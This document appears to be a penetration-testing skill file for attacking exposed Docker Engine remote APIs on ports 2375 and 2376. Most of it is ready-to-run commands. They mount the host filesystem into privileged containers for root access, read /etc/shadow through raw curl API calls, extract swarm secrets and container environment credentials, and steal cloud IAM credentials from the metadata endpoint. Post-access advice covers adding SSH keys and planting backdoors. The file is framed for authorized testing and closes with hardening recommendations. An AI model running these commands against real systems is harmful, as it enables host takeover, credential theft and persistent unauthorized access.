| name | pentesting-docker |
| description | Testing the Docker Engine remote API (default 2375/TCP plaintext, 2376/TCP TLS) for unauthenticated access leading to instant host takeover by mounting the host filesystem into a privileged container, plus secret/credential extraction and container-escape pivoting during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","docker"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting Docker Engine API (port 2375)
When to Use
- Default port
2375/tcp (plaintext remote API) and 2376/tcp (TLS endpoint). The API is unauthenticated by default when enabled over TCP.
- When
nmap shows 2375/tcp open docker, or you find a DOCKER_HOST / exposed /var/run/docker.sock proxied to the network.
- Exposed Docker API = effectively root on the host: an attacker can mount
/ into a container and read/write any host file.
Quick Enumeration
curl -s http://open.docker.socket:2375/version | jq
docker -H open.docker.socket:2375 version
docker -H open.docker.socket:2375 info
export DOCKER_HOST="tcp://localhost:2375"
docker ps -a
docker images
docker network ls
nmap -sV --script "docker-*" -p <PORT> <IP>
msf> use exploit/linux/http/docker_daemon_tcp
Critical: Checks Most Often Missed
- Unauthenticated API = root RCE — the #1 finding. Mount the host root into a privileged container and you own the box:
docker -H <host>:2375 run --rm -it -v /:/host/ ubuntu:latest chroot /host/ bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- TLS endpoint on 2376 still usable via curl — the docker client may refuse it, but the raw HTTP API often works. Create a container that bind-mounts the host and reads
/etc/shadow:
curl --insecure -X POST -H "Content-Type: application/json" \
https://tls-opendocker.socket:2376/containers/create?name=test \
-d '{"Image":"alpine","Cmd":["/usr/bin/tail","-f","/dev/null"],"Binds":["/:/mnt"],"Privileged":true}'
curl --insecure -X POST https://tls-opendocker.socket:2376/containers/<id>/start
curl --insecure -X POST -H "Content-Type: application/json" \
https://tls-opendocker.socket:2376/containers/<id>/exec \
-d '{"AttachStdout":true,"Cmd":["/bin/sh","-c","cat /mnt/etc/shadow"]}'
curl --insecure -X POST https://tls-opendocker.socket:2376/exec/<execid>/start -d '{}'
- Secrets / env leakage —
docker inspect env vars and swarm secrets frequently hold passwords, IPs, API keys, cloud-metadata creds.
- Cloud metadata SSRF from inside a container — exec a job that hits
169.254.169.254 for instance credentials.
How to CONFIRM
- Unauthenticated access:
docker -H <IP>:2375 version returns Server engine details (not connection refused / 401).
- Host compromise: the privileged
-v /:/mnt container can cat /mnt/etc/shadow (proves full host read/write).
- TLS API:
curl --insecure https://<IP>:2376/containers/json returns the container list without a client certificate.
Workflow
Step 1: Enumerate
Confirm the API answers: docker -H <IP>:2375 version / curl .../version | jq. List containers, images and networks. Note engine version and whether TLS (2376) is in play.
Step 2: Authenticate / unauth access
The TCP API has no auth by default — test directly. For 2376, retry via curl --insecure. List secrets/services if swarm is set up:
curl -s --insecure https://<IP>:2376/secrets | jq
curl -s --insecure https://<IP>:2376/services | jq
Step 3: Exploit / Extract
- Mount the host filesystem into a privileged container for read/write root access (commands above).
- Pull secrets from container env and mounted files:
docker -H <IP>:2375 inspect <docker_id>
docker -H <IP>:2375 cp <docker_id>:/etc/<secret> ./secret_01
- Read mounted swarm secrets via exec (
cat /run/secrets/<name>).
Step 4: Post-access / pivot
With host root via the bind-mount, add SSH keys/users, dump credentials, or drop a backdoor. From a weak container you can also escape to the host (container-security techniques). Use harvested env secrets and cloud-metadata creds to pivot into the wider environment.
Key Concepts
| Concept | Description |
|---|
| Remote API (2375) | Docker Engine HTTP API; unauthenticated by default over TCP |
| TLS API (2376) | mTLS-protected endpoint; often reachable via raw curl --insecure |
Bind mount -v /:/mnt | Mounts host root into a container -> full host file access |
--privileged / --net=host | Drops isolation; eases host takeover and escape |
| Swarm secrets | Stored secrets exposed at /run/secrets/ and via /secrets API |
| containerd / runc / podman | Underlying runtimes; podman is daemonless/rootless (different exposure) |
Tools & Systems
| Tool | Purpose |
|---|
docker CLI (-H tcp://) | Direct interaction with the remote API |
| curl + jq | Raw API calls (esp. the 2376 TLS endpoint) |
| nmap docker- NSE* | Service/version detection |
| Metasploit docker_daemon_tcp | Exploit module for exposed API |
| PayloadsAllTheThings Docker API RCE.py | Scripted host-mount RCE |
| docker-bench-security / dockscan / amicontained | Config auditing / privilege assessment |
Common Scenarios
Scenario 1: Open API -> instant root
2375/tcp is exposed with no auth; docker -H <IP>:2375 run -v /:/mnt --privileged alpine yields read/write of /etc/shadow and host persistence.
Scenario 2: TLS endpoint via curl
The docker client can't connect to 2376, but curl --insecure creates a privileged host-mounted container and reads host secrets.
Scenario 3: Cloud credential theft
An exec job inside a container fetches 169.254.169.254/latest/meta-data/.../security-credentials/, yielding cloud IAM creds for lateral movement.
Output Format
## Docker Engine API Finding
**Service**: Docker remote API (2375/tcp plaintext | 2376/tcp TLS)
**Severity**: Critical
**Target**: <IP>:<port> Engine: <version>
### Evidence
- Unauthenticated API access confirmed: docker -H <IP>:2375 version returned server details
- Host takeover: privileged container with -v /:/mnt read /etc/shadow
- Secrets recovered: <env vars / swarm secrets / cloud metadata creds>
### Reproduction
docker -H <IP>:2375 run --rm -it --privileged -v /:/mnt alpine cat /mnt/etc/shadow
### Recommendation
1. Never expose the Docker API over TCP; bind to the local unix socket only
2. If remote access is required, enforce mTLS (2376) AND restrict by firewall/IP
3. Enable authorization plugins; drop --privileged and host bind mounts
4. Treat docker socket access as root-equivalent; audit who/what can reach it